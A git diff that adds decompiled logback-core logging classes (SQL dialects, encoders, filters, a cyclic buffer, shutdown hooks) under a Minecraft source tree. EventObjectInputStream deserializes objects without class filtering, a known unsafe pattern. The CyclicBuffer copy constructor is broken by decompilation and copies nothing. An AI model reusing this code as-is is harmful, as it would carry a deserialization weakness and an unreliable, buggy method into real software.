+  UNKNOWN_DIALECT,  POSTGRES_DIALECT,  MYSQL_DIALECT,  ORACLE_DIALECT,  MSSQL_DIALECT,  HSQL_DIALECT,  H2_DIALECT,  SYBASE_SQLANYWHERE_DIALECT,  SQLITE_DIALECT;
+  
+  private SQLDialectCode() {}
+}
diff --git a/src/minecraft/ch/qos/logback/core/db/dialect/SQLiteDialect.java b/src/minecraft/ch/qos/logback/core/db/dialect/SQLiteDialect.java
new file mode 100644
index 0000000..ece095a
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/db/dialect/SQLiteDialect.java
@@ -0,0 +1,30 @@
+package ch.qos.logback.core.db.dialect;
+
+
+
+
+
+
+
+public class SQLiteDialect
+  implements SQLDialect
+{
+  public static final String SELECT_CURRVAL = "SELECT last_insert_rowid();";
+  
+
+
+
+
+
+  public SQLiteDialect() {}
+  
+
+
+
+
+
+  public String getSelectInsertId()
+  {
+    return "SELECT last_insert_rowid();";
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/core/db/dialect/SybaseSqlAnywhereDialect.java b/src/minecraft/ch/qos/logback/core/db/dialect/SybaseSqlAnywhereDialect.java
new file mode 100644
index 0000000..fe31e75
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/db/dialect/SybaseSqlAnywhereDialect.java
@@ -0,0 +1,32 @@
+package ch.qos.logback.core.db.dialect;
+
+
+
+
+
+
+
+public class SybaseSqlAnywhereDialect
+  implements SQLDialect
+{
+  public static final String SELECT_CURRVAL = "SELECT @@identity id";
+  
+
+
+
+
+
+
+  public SybaseSqlAnywhereDialect() {}
+  
+
+
+
+
+
+
+  public String getSelectInsertId()
+  {
+    return "SELECT @@identity id";
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/core/encoder/ByteArrayUtil.java b/src/minecraft/ch/qos/logback/core/encoder/ByteArrayUtil.java
new file mode 100644
index 0000000..f68ccdb
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/encoder/ByteArrayUtil.java
@@ -0,0 +1,69 @@
+package ch.qos.logback.core.encoder;
+
+import java.io.ByteArrayOutputStream;
+
+
+
+
+
+
+
+
+
+
+
+
+public class ByteArrayUtil
+{
+  public ByteArrayUtil() {}
+  
+  static void writeInt(byte[] byteArray, int offset, int i)
+  {
+    for (int j = 0; j < 4; j++) {
+      int shift = 24 - j * 8;
+      byteArray[(offset + j)] = ((byte)(i >>> shift));
+    }
+  }
+  
+  static void writeInt(ByteArrayOutputStream baos, int i) {
+    for (int j = 0; j < 4; j++) {
+      int shift = 24 - j * 8;
+      baos.write((byte)(i >>> shift));
+    }
+  }
+  
+  static int readInt(byte[] byteArray, int offset)
+  {
+    int i = 0;
+    for (int j = 0; j < 4; j++) {
+      int shift = 24 - j * 8;
+      i += ((byteArray[(offset + j)] & 0xFF) << shift);
+    }
+    return i;
+  }
+  
+  public static String toHexString(byte[] ba) {
+    StringBuilder sbuf = new StringBuilder();
+    for (byte b : ba) {
+      String s = Integer.toHexString(b & 0xFF);
+      if (s.length() == 1) {
+        sbuf.append('0');
+      }
+      sbuf.append(s);
+    }
+    return sbuf.toString();
+  }
+  
+  public static byte[] hexStringToByteArray(String s) {
+    int len = s.length();
+    byte[] ba = new byte[len / 2];
+    
+    for (int i = 0; i < ba.length; i++) {
+      int j = i * 2;
+      int t = Integer.parseInt(s.substring(j, j + 2), 16);
+      byte b = (byte)(t & 0xFF);
+      ba[i] = b;
+    }
+    return ba;
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/core/encoder/EchoEncoder.java b/src/minecraft/ch/qos/logback/core/encoder/EchoEncoder.java
new file mode 100644
index 0000000..7862cc1
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/encoder/EchoEncoder.java
@@ -0,0 +1,47 @@
+package ch.qos.logback.core.encoder;
+
+import ch.qos.logback.core.CoreConstants;
+import java.io.IOException;
+import java.io.OutputStream;
+
+
+
+
+
+
+
+
+
+
+public class EchoEncoder<E>
+  extends EncoderBase<E>
+{
+  String fileHeader;
+  String fileFooter;
+  
+  public EchoEncoder() {}
+  
+  public void doEncode(E event)
+    throws IOException
+  {
+    String val = event + CoreConstants.LINE_SEPARATOR;
+    outputStream.write(val.getBytes());
+    
+    outputStream.flush();
+  }
+  
+  public void close() throws IOException {
+    if (fileFooter == null) {
+      return;
+    }
+    outputStream.write(fileFooter.getBytes());
+  }
+  
+  public void init(OutputStream os) throws IOException {
+    super.init(os);
+    if (fileHeader == null) {
+      return;
+    }
+    outputStream.write(fileHeader.getBytes());
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/core/encoder/Encoder.java b/src/minecraft/ch/qos/logback/core/encoder/Encoder.java
new file mode 100644
index 0000000..3244632
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/encoder/Encoder.java
@@ -0,0 +1,19 @@
+package ch.qos.logback.core.encoder;
+
+import ch.qos.logback.core.spi.ContextAware;
+import ch.qos.logback.core.spi.LifeCycle;
+import java.io.IOException;
+import java.io.OutputStream;
+
+public abstract interface Encoder<E>
+  extends ContextAware, LifeCycle
+{
+  public abstract void init(OutputStream paramOutputStream)
+    throws IOException;
+  
+  public abstract void doEncode(E paramE)
+    throws IOException;
+  
+  public abstract void close()
+    throws IOException;
+}
diff --git a/src/minecraft/ch/qos/logback/core/encoder/EncoderBase.java b/src/minecraft/ch/qos/logback/core/encoder/EncoderBase.java
new file mode 100644
index 0000000..4e5b15f
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/encoder/EncoderBase.java
@@ -0,0 +1,42 @@
+package ch.qos.logback.core.encoder;
+
+import ch.qos.logback.core.spi.ContextAwareBase;
+import java.io.IOException;
+import java.io.OutputStream;
+
+
+
+
+
+
+
+
+
+
+public abstract class EncoderBase<E>
+  extends ContextAwareBase
+  implements Encoder<E>
+{
+  protected boolean started;
+  protected OutputStream outputStream;
+  
+  public EncoderBase() {}
+  
+  public void init(OutputStream os)
+    throws IOException
+  {
+    outputStream = os;
+  }
+  
+  public boolean isStarted() {
+    return started;
+  }
+  
+  public void start() {
+    started = true;
+  }
+  
+  public void stop() {
+    started = false;
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/core/encoder/EventObjectInputStream.java b/src/minecraft/ch/qos/logback/core/encoder/EventObjectInputStream.java
new file mode 100644
index 0000000..d217684
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/encoder/EventObjectInputStream.java
@@ -0,0 +1,158 @@
+package ch.qos.logback.core.encoder;
+
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.ObjectInputStream;
+import java.util.ArrayList;
+import java.util.List;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class EventObjectInputStream<E>
+  extends InputStream
+{
+  NonClosableInputStream ncis;
+  List<E> buffer = new ArrayList();
+  
+  int index = 0;
+  
+  EventObjectInputStream(InputStream is) throws IOException {
+    ncis = new NonClosableInputStream(is);
+  }
+  
+  public int read() throws IOException
+  {
+    throw new UnsupportedOperationException("Only the readEvent method is supported.");
+  }
+  
+
+
+  public int available()
+    throws IOException
+  {
+    return ncis.available();
+  }
+  
+  public E readEvent() throws IOException
+  {
+    E event = getFromBuffer();
+    if (event != null) {
+      return event;
+    }
+    
+    internalReset();
+    int count = readHeader();
+    if (count == -1) {
+      return null;
+    }
+    readPayload(count);
+    readFooter(count);
+    return getFromBuffer();
+  }
+  
+  private void internalReset() {
+    index = 0;
+    buffer.clear();
+  }
+  
+  E getFromBuffer() {
+    if (index >= buffer.size()) {
+      return null;
+    }
+    return buffer.get(index++);
+  }
+  
+  int readHeader() throws IOException {
+    byte[] headerBA = new byte[16];
+    
+    int bytesRead = ncis.read(headerBA);
+    if (bytesRead == -1) {
+      return -1;
+    }
+    
+
+
+
+    int offset = 0;
+    int startPebble = ByteArrayUtil.readInt(headerBA, offset);
+    if (startPebble != 1853421169) {
+      throw new IllegalStateException("Does not look like data created by ObjectStreamEncoder");
+    }
+    
+    offset += 4;
+    int count = ByteArrayUtil.readInt(headerBA, offset);
+    offset += 4;
+    int endPointer = ByteArrayUtil.readInt(headerBA, offset);
+    offset += 4;
+    int checksum = ByteArrayUtil.readInt(headerBA, offset);
+    if (checksum != (0x6E78F671 ^ count)) {
+      throw new IllegalStateException("Invalid checksum");
+    }
+    return count;
+  }
+  
+  E readEvents(ObjectInputStream ois) throws IOException
+  {
+    E e = null;
+    try {
+      e = ois.readObject();
+      buffer.add(e);
+    }
+    catch (ClassNotFoundException e1) {
+      e1.printStackTrace();
+    }
+    return e;
+  }
+  
+  void readFooter(int count) throws IOException {
+    byte[] headerBA = new byte[8];
+    ncis.read(headerBA);
+    
+    int offset = 0;
+    int stopPebble = ByteArrayUtil.readInt(headerBA, offset);
+    if (stopPebble != 640373619) {
+      throw new IllegalStateException("Looks like a corrupt stream");
+    }
+    
+    offset += 4;
+    int checksum = ByteArrayUtil.readInt(headerBA, offset);
+    if (checksum != (0x262B5373 ^ count)) {
+      throw new IllegalStateException("Invalid checksum");
+    }
+  }
+  
+  void readPayload(int count) throws IOException {
+    List<E> eventList = new ArrayList(count);
+    ObjectInputStream ois = new ObjectInputStream(ncis);
+    for (int i = 0; i < count; i++) {
+      E e = readEvents(ois);
+      eventList.add(e);
+    }
+    ois.close();
+  }
+  
+  public void close() throws IOException {
+    ncis.realClose();
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/core/encoder/LayoutWrappingEncoder.java b/src/minecraft/ch/qos/logback/core/encoder/LayoutWrappingEncoder.java
new file mode 100644
index 0000000..1dee82c
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/encoder/LayoutWrappingEncoder.java
@@ -0,0 +1,163 @@
+package ch.qos.logback.core.encoder;
+
+import ch.qos.logback.core.CoreConstants;
+import ch.qos.logback.core.Layout;
+import java.io.IOException;
+import java.io.OutputStream;
+import java.io.UnsupportedEncodingException;
+import java.nio.charset.Charset;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class LayoutWrappingEncoder<E>
+  extends EncoderBase<E>
+{
+  protected Layout<E> layout;
+  private Charset charset;
+  private boolean immediateFlush = true;
+  
+
+
+
+  public LayoutWrappingEncoder() {}
+  
+
+
+  public void setImmediateFlush(boolean immediateFlush)
+  {
+    this.immediateFlush = immediateFlush;
+  }
+  
+  public boolean isImmediateFlush()
+  {
+    return immediateFlush;
+  }
+  
+  public Layout<E> getLayout()
+  {
+    return layout;
+  }
+  
+  public void setLayout(Layout<E> layout) {
+    this.layout = layout;
+  }
+  
+  public Charset getCharset() {
+    return charset;
+  }
+  
+
+
+
+
+
+
+
+
+
+  public void setCharset(Charset charset)
+  {
+    this.charset = charset;
+  }
+  
+  public void init(OutputStream os) throws IOException {
+    super.init(os);
+    writeHeader();
+  }
+  
+  void writeHeader() throws IOException {
+    if ((layout != null) && (outputStream != null)) {
+      StringBuilder sb = new StringBuilder();
+      appendIfNotNull(sb, layout.getFileHeader());
+      appendIfNotNull(sb, layout.getPresentationHeader());
+      if (sb.length() > 0) {
+        sb.append(CoreConstants.LINE_SEPARATOR);
+        
+
+
+        outputStream.write(convertToBytes(sb.toString()));
+        outputStream.flush();
+      }
+    }
+  }
+  
+  public void close() throws IOException {
+    writeFooter();
+  }
+  
+  void writeFooter() throws IOException {
+    if ((layout != null) && (outputStream != null)) {
+      StringBuilder sb = new StringBuilder();
+      appendIfNotNull(sb, layout.getPresentationFooter());
+      appendIfNotNull(sb, layout.getFileFooter());
+      if (sb.length() > 0) {
+        outputStream.write(convertToBytes(sb.toString()));
+        outputStream.flush();
+      }
+    }
+  }
+  
+  private byte[] convertToBytes(String s) {
+    if (charset == null) {
+      return s.getBytes();
+    }
+    try {
+      return s.getBytes(charset.name());
+    } catch (UnsupportedEncodingException e) {
+      throw new IllegalStateException("An existing charset cannot possibly be unsupported.");
+    }
+  }
+  
+  public void doEncode(E event)
+    throws IOException
+  {
+    String txt = layout.doLayout(event);
+    outputStream.write(convertToBytes(txt));
+    if (immediateFlush)
+      outputStream.flush();
+  }
+  
+  public boolean isStarted() {
+    return false;
+  }
+  
+  public void start() {
+    started = true;
+  }
+  
+  public void stop() {
+    started = false;
+    if (outputStream != null) {
+      try {
+        outputStream.flush();
+      }
+      catch (IOException e) {}
+    }
+  }
+  
+  private void appendIfNotNull(StringBuilder sb, String s) {
+    if (s != null) {
+      sb.append(s);
+    }
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/core/encoder/NonClosableInputStream.java b/src/minecraft/ch/qos/logback/core/encoder/NonClosableInputStream.java
new file mode 100644
index 0000000..5d620f2
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/encoder/NonClosableInputStream.java
@@ -0,0 +1,37 @@
+package ch.qos.logback.core.encoder;
+
+import java.io.FilterInputStream;
+import java.io.IOException;
+import java.io.InputStream;
+
+
+
+
+
+
+
+
+
+
+
+
+public class NonClosableInputStream
+  extends FilterInputStream
+{
+  NonClosableInputStream(InputStream is)
+  {
+    super(is);
+  }
+  
+
+
+  public void close() {}
+  
+
+
+  public void realClose()
+    throws IOException
+  {
+    super.close();
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/core/encoder/ObjectStreamEncoder.java b/src/minecraft/ch/qos/logback/core/encoder/ObjectStreamEncoder.java
new file mode 100644
index 0000000..e6313cf
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/encoder/ObjectStreamEncoder.java
@@ -0,0 +1,94 @@
+package ch.qos.logback.core.encoder;
+
+import java.io.ByteArrayOutputStream;
+import java.io.IOException;
+import java.io.ObjectOutputStream;
+import java.io.OutputStream;
+import java.util.ArrayList;
+import java.util.List;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class ObjectStreamEncoder<E>
+  extends EncoderBase<E>
+{
+  public static final int START_PEBBLE = 1853421169;
+  public static final int STOP_PEBBLE = 640373619;
+  
+  public ObjectStreamEncoder() {}
+  
+  private int MAX_BUFFER_SIZE = 100;
+  
+  List<E> bufferList = new ArrayList(MAX_BUFFER_SIZE);
+  
+  public void doEncode(E event) throws IOException {
+    bufferList.add(event);
+    if (bufferList.size() == MAX_BUFFER_SIZE) {
+      writeBuffer();
+    }
+  }
+  
+  void writeHeader(ByteArrayOutputStream baos, int bufferSize) {
+    ByteArrayUtil.writeInt(baos, 1853421169);
+    ByteArrayUtil.writeInt(baos, bufferSize);
+    ByteArrayUtil.writeInt(baos, 0);
+    ByteArrayUtil.writeInt(baos, 0x6E78F671 ^ bufferSize);
+  }
+  
+  void writeFooter(ByteArrayOutputStream baos, int bufferSize) {
+    ByteArrayUtil.writeInt(baos, 640373619);
+    ByteArrayUtil.writeInt(baos, 0x262B5373 ^ bufferSize);
+  }
+  
+  void writeBuffer() throws IOException { ByteArrayOutputStream baos = new ByteArrayOutputStream(10000);
+    
+    int size = bufferList.size();
+    writeHeader(baos, size);
+    ObjectOutputStream oos = new ObjectOutputStream(baos);
+    for (E e : bufferList) {
+      oos.writeObject(e);
+    }
+    bufferList.clear();
+    oos.flush();
+    
+    writeFooter(baos, size);
+    
+    byte[] byteArray = baos.toByteArray();
+    oos.close();
+    writeEndPosition(byteArray);
+    outputStream.write(byteArray);
+  }
+  
+  void writeEndPosition(byte[] byteArray)
+  {
+    int offset = 8;
+    ByteArrayUtil.writeInt(byteArray, offset, byteArray.length - offset);
+  }
+  
+  public void init(OutputStream os) throws IOException
+  {
+    super.init(os);
+    bufferList.clear();
+  }
+  
+  public void close() throws IOException {
+    writeBuffer();
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/core/filter/AbstractMatcherFilter.java b/src/minecraft/ch/qos/logback/core/filter/AbstractMatcherFilter.java
new file mode 100644
index 0000000..8b90ff0
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/filter/AbstractMatcherFilter.java
@@ -0,0 +1,38 @@
+package ch.qos.logback.core.filter;
+
+import ch.qos.logback.core.spi.FilterReply;
+
+
+
+
+
+
+
+
+
+
+
+public abstract class AbstractMatcherFilter<E>
+  extends Filter<E>
+{
+  public AbstractMatcherFilter() {}
+  
+  protected FilterReply onMatch = FilterReply.NEUTRAL;
+  protected FilterReply onMismatch = FilterReply.NEUTRAL;
+  
+  public final void setOnMatch(FilterReply reply) {
+    onMatch = reply;
+  }
+  
+  public final void setOnMismatch(FilterReply reply) {
+    onMismatch = reply;
+  }
+  
+  public final FilterReply getOnMatch() {
+    return onMatch;
+  }
+  
+  public final FilterReply getOnMismatch() {
+    return onMismatch;
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/core/filter/EvaluatorFilter.java b/src/minecraft/ch/qos/logback/core/filter/EvaluatorFilter.java
new file mode 100644
index 0000000..9116b0c
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/filter/EvaluatorFilter.java
@@ -0,0 +1,74 @@
+package ch.qos.logback.core.filter;
+
+import ch.qos.logback.core.boolex.EvaluationException;
+import ch.qos.logback.core.boolex.EventEvaluator;
+import ch.qos.logback.core.spi.FilterReply;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class EvaluatorFilter<E>
+  extends AbstractMatcherFilter<E>
+{
+  EventEvaluator<E> evaluator;
+  
+  public EvaluatorFilter() {}
+  
+  public void start()
+  {
+    if (evaluator != null) {
+      super.start();
+    } else {
+      addError("No evaluator set for filter " + getName());
+    }
+  }
+  
+  public EventEvaluator<E> getEvaluator() {
+    return evaluator;
+  }
+  
+  public void setEvaluator(EventEvaluator<E> evaluator) {
+    this.evaluator = evaluator;
+  }
+  
+
+  public FilterReply decide(E event)
+  {
+    if ((!isStarted()) || (!evaluator.isStarted())) {
+      return FilterReply.NEUTRAL;
+    }
+    try {
+      if (evaluator.evaluate(event)) {
+        return onMatch;
+      }
+      return onMismatch;
+    }
+    catch (EvaluationException e) {
+      addError("Evaluator " + evaluator.getName() + " threw an exception", e); }
+    return FilterReply.NEUTRAL;
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/core/filter/Filter.java b/src/minecraft/ch/qos/logback/core/filter/Filter.java
new file mode 100644
index 0000000..bbdaa24
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/filter/Filter.java
@@ -0,0 +1,68 @@
+package ch.qos.logback.core.filter;
+
+import ch.qos.logback.core.spi.ContextAwareBase;
+import ch.qos.logback.core.spi.FilterReply;
+import ch.qos.logback.core.spi.LifeCycle;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class Filter<E>
+  extends ContextAwareBase
+  implements LifeCycle
+{
+  private String name;
+  
+  public Filter() {}
+  
+  boolean start = false;
+  
+  public void start() {
+    start = true;
+  }
+  
+  public boolean isStarted() {
+    return start;
+  }
+  
+  public void stop() {
+    start = false;
+  }
+  
+
+
+
+
+
+  public abstract FilterReply decide(E paramE);
+  
+
+
+
+
+  public String getName()
+  {
+    return name;
+  }
+  
+  public void setName(String name) {
+    this.name = name;
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/core/helpers/CyclicBuffer.java b/src/minecraft/ch/qos/logback/core/helpers/CyclicBuffer.java
new file mode 100644
index 0000000..a08c023
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/helpers/CyclicBuffer.java
@@ -0,0 +1,175 @@
+package ch.qos.logback.core.helpers;
+
+import java.util.ArrayList;
+import java.util.List;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class CyclicBuffer<E>
+{
+  E[] ea;
+  int first;
+  int last;
+  int numElems;
+  int maxSize;
+  
+  public CyclicBuffer(int maxSize)
+    throws IllegalArgumentException
+  {
+    if (maxSize < 1) {
+      throw new IllegalArgumentException("The maxSize argument (" + maxSize + ") is not a positive integer.");
+    }
+    
+    init(maxSize);
+  }
+  
+  public CyclicBuffer(CyclicBuffer<E> other) {
+    maxSize = maxSize;
+    ea = ((Object[])new Object[maxSize]);
+    System.arraycopy(ea, 0, ea, 0, maxSize);
+    last = last;
+    first = first;
+    numElems = numElems;
+  }
+  
+  private void init(int maxSize)
+  {
+    this.maxSize = maxSize;
+    ea = ((Object[])new Object[maxSize]);
+    first = 0;
+    last = 0;
+    numElems = 0;
+  }
+  
+
+
+  public void clear()
+  {
+    init(maxSize);
+  }
+  
+
+
+
+  public void add(E event)
+  {
+    ea[last] = event;
+    if (++last == maxSize) {
+      last = 0;
+    }
+    if (numElems < maxSize) {
+      numElems += 1;
+    } else if (++first == maxSize) {
+      first = 0;
+    }
+  }
+  
+
+
+
+  public E get(int i)
+  {
+    if ((i < 0) || (i >= numElems)) {
+      return null;
+    }
+    return ea[((first + i) % maxSize)];
+  }
+  
+  public int getMaxSize() {
+    return maxSize;
+  }
+  
+
+
+
+  public E get()
+  {
+    E r = null;
+    if (numElems > 0) {
+      numElems -= 1;
+      r = ea[first];
+      ea[first] = null;
+      if (++first == maxSize)
+        first = 0;
+    }
+    return r;
+  }
+  
+  public List<E> asList() {
+    List<E> tList = new ArrayList();
+    for (int i = 0; i < length(); i++) {
+      tList.add(get(i));
+    }
+    return tList;
+  }
+  
+
+
+
+  public int length()
+  {
+    return numElems;
+  }
+  
+
+
+
+
+
+
+  public void resize(int newSize)
+  {
+    if (newSize < 0) {
+      throw new IllegalArgumentException("Negative array size [" + newSize + "] not allowed.");
+    }
+    
+    if (newSize == numElems) {
+      return;
+    }
+    
+    E[] temp = (Object[])new Object[newSize];
+    
+    int loopLen = newSize < numElems ? newSize : numElems;
+    
+    for (int i = 0; i < loopLen; i++) {
+      temp[i] = ea[first];
+      ea[first] = null;
+      if (++first == numElems)
+        first = 0;
+    }
+    ea = temp;
+    first = 0;
+    numElems = loopLen;
+    maxSize = newSize;
+    if (loopLen == newSize) {
+      last = 0;
+    } else {
+      last = loopLen;
+    }
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/core/helpers/NOPAppender.java b/src/minecraft/ch/qos/logback/core/helpers/NOPAppender.java
new file mode 100644
index 0000000..22f4cd7
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/helpers/NOPAppender.java
@@ -0,0 +1,11 @@
+package ch.qos.logback.core.helpers;
+
+import ch.qos.logback.core.AppenderBase;
+
+public final class NOPAppender<E>
+  extends AppenderBase<E>
+{
+  public NOPAppender() {}
+  
+  protected void append(E eventObject) {}
+}
diff --git a/src/minecraft/ch/qos/logback/core/helpers/ThrowableToStringArray.java b/src/minecraft/ch/qos/logback/core/helpers/ThrowableToStringArray.java
new file mode 100644
index 0000000..982b49f
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/helpers/ThrowableToStringArray.java
@@ -0,0 +1,85 @@
+package ch.qos.logback.core.helpers;
+
+import java.util.LinkedList;
+import java.util.List;
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class ThrowableToStringArray
+{
+  public ThrowableToStringArray() {}
+  
+  public static String[] convert(Throwable t)
+  {
+    List<String> strList = new LinkedList();
+    extract(strList, t, null);
+    return (String[])strList.toArray(new String[0]);
+  }
+  
+
+
+  private static void extract(List<String> strList, Throwable t, StackTraceElement[] parentSTE)
+  {
+    StackTraceElement[] ste = t.getStackTrace();
+    int numberOfcommonFrames = findNumberOfCommonFrames(ste, parentSTE);
+    
+    strList.add(formatFirstLine(t, parentSTE));
+    for (int i = 0; i < ste.length - numberOfcommonFrames; i++) {
+      strList.add("\tat " + ste[i].toString());
+    }
+    
+    if (numberOfcommonFrames != 0) {
+      strList.add("\t... " + numberOfcommonFrames + " common frames omitted");
+    }
+    
+    Throwable cause = t.getCause();
+    if (cause != null) {
+      extract(strList, cause, ste);
+    }
+  }
+  
+  private static String formatFirstLine(Throwable t, StackTraceElement[] parentSTE)
+  {
+    String prefix = "";
+    if (parentSTE != null) {
+      prefix = "Caused by: ";
+    }
+    
+    String result = prefix + t.getClass().getName();
+    if (t.getMessage() != null) {
+      result = result + ": " + t.getMessage();
+    }
+    return result;
+  }
+  
+  private static int findNumberOfCommonFrames(StackTraceElement[] ste, StackTraceElement[] parentSTE)
+  {
+    if (parentSTE == null) {
+      return 0;
+    }
+    
+    int steIndex = ste.length - 1;
+    int parentIndex = parentSTE.length - 1;
+    int count = 0;
+    while ((steIndex >= 0) && (parentIndex >= 0) && 
+      (ste[steIndex].equals(parentSTE[parentIndex]))) {
+      count++;
+      
+
+
+      steIndex--;
+      parentIndex--;
+    }
+    return count;
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/core/helpers/Transform.java b/src/minecraft/ch/qos/logback/core/helpers/Transform.java
new file mode 100644
index 0000000..5c20dcd
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/helpers/Transform.java
@@ -0,0 +1,135 @@
+package ch.qos.logback.core.helpers;
+
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class Transform
+{
+  private static final String CDATA_START = "<![CDATA[";
+  private static final String CDATA_END = "]]>";
+  private static final String CDATA_PSEUDO_END = "]]&gt;";
+  private static final String CDATA_EMBEDED_END = "]]>]]&gt;<![CDATA[";
+  private static final int CDATA_END_LEN = "]]>".length();
+  private static final Pattern UNSAFE_XML_CHARS = Pattern.compile("[\000-\b\013\f\016-\037<>&'\"]");
+  
+
+
+
+  public Transform() {}
+  
+
+
+
+  public static String escapeTags(String input)
+  {
+    if ((input == null) || (input.length() == 0) || (!UNSAFE_XML_CHARS.matcher(input).find())) {
+      return input;
+    }
+    StringBuffer buf = new StringBuffer(input);
+    return escapeTags(buf);
+  }
+  
+
+
+
+
+
+
+
+  public static String escapeTags(StringBuffer buf)
+  {
+    for (int i = 0; i < buf.length(); i++) {
+      char ch = buf.charAt(i);
+      switch (ch)
+      {
+      case '\t': 
+      case '\n': 
+      case '\r': 
+        break;
+      case '&': 
+        buf.replace(i, i + 1, "&amp;");
+        break;
+      case '<': 
+        buf.replace(i, i + 1, "&lt;");
+        break;
+      case '>': 
+        buf.replace(i, i + 1, "&gt;");
+        break;
+      case '"': 
+        buf.replace(i, i + 1, "&quot;");
+        break;
+      case '\'': 
+        buf.replace(i, i + 1, "&#39;");
+        break;
+      default: 
+        if (ch < ' ')
+        {
+
+          buf.replace(i, i + 1, "�");
+        }
+        break;
+      }
+    }
+    return buf.toString();
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  public static void appendEscapingCDATA(StringBuilder output, String str)
+  {
+    if (str == null) {
+      return;
+    }
+    
+    int end = str.indexOf("]]>");
+    
+    if (end < 0) {
+      output.append(str);
+      
+      return;
+    }
+    
+    int start = 0;
+    
+    while (end > -1) {
+      output.append(str.substring(start, end));
+      output.append("]]>]]&gt;<![CDATA[");
+      start = end + CDATA_END_LEN;
+      
+      if (start < str.length()) {
+        end = str.indexOf("]]>", start);
+      } else {
+        return;
+      }
+    }
+    
+    output.append(str.substring(start));
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/core/hook/DelayingShutdownHook.java b/src/minecraft/ch/qos/logback/core/hook/DelayingShutdownHook.java
new file mode 100644
index 0000000..687d84f
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/hook/DelayingShutdownHook.java
@@ -0,0 +1,60 @@
+package ch.qos.logback.core.hook;
+
+import ch.qos.logback.core.util.Duration;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class DelayingShutdownHook
+  extends ShutdownHookBase
+{
+  public static final Duration DEFAULT_DELAY = Duration.buildByMilliseconds(0.0D);
+  
+
+
+
+  private Duration delay = DEFAULT_DELAY;
+  
+  public DelayingShutdownHook() {}
+  
+  public Duration getDelay()
+  {
+    return delay;
+  }
+  
+
+
+
+
+  public void setDelay(Duration delay)
+  {
+    this.delay = delay;
+  }
+  
+  public void run() {
+    try {
+      Thread.sleep(delay.getMilliseconds());
+    }
+    catch (InterruptedException e) {}
+    super.stop();
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/core/hook/ShutdownHook.java b/src/minecraft/ch/qos/logback/core/hook/ShutdownHook.java
new file mode 100644
index 0000000..04478be
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/hook/ShutdownHook.java
@@ -0,0 +1,7 @@
+package ch.qos.logback.core.hook;
+
+import ch.qos.logback.core.spi.ContextAware;
+
+public abstract interface ShutdownHook
+  extends Runnable, ContextAware
+{}
diff --git a/src/minecraft/ch/qos/logback/core/hook/ShutdownHookBase.java b/src/minecraft/ch/qos/logback/core/hook/ShutdownHookBase.java
new file mode 100644
index 0000000..a37b6c4
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/hook/ShutdownHookBase.java
@@ -0,0 +1,42 @@
+package ch.qos.logback.core.hook;
+
+import ch.qos.logback.core.Context;
+import ch.qos.logback.core.ContextBase;
+import ch.qos.logback.core.spi.ContextAwareBase;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class ShutdownHookBase
+  extends ContextAwareBase
+  implements ShutdownHook
+{
+  public ShutdownHookBase() {}
+  
+  protected void stop()
+  {
+    addInfo("Logback context being closed via shutdown hook");
+    
+    Context hookContext = getContext();
+    if ((hookContext instanceof ContextBase)) {
+      ContextBase context = (ContextBase)hookContext;
+      context.stop();
+    }
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/core/html/CssBuilder.java b/src/minecraft/ch/qos/logback/core/html/CssBuilder.java
new file mode 100644
index 0000000..5f876cf
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/html/CssBuilder.java
@@ -0,0 +1,6 @@
+package ch.qos.logback.core.html;
+
+public abstract interface CssBuilder
+{
+  public abstract void addCss(StringBuilder paramStringBuilder);
+}
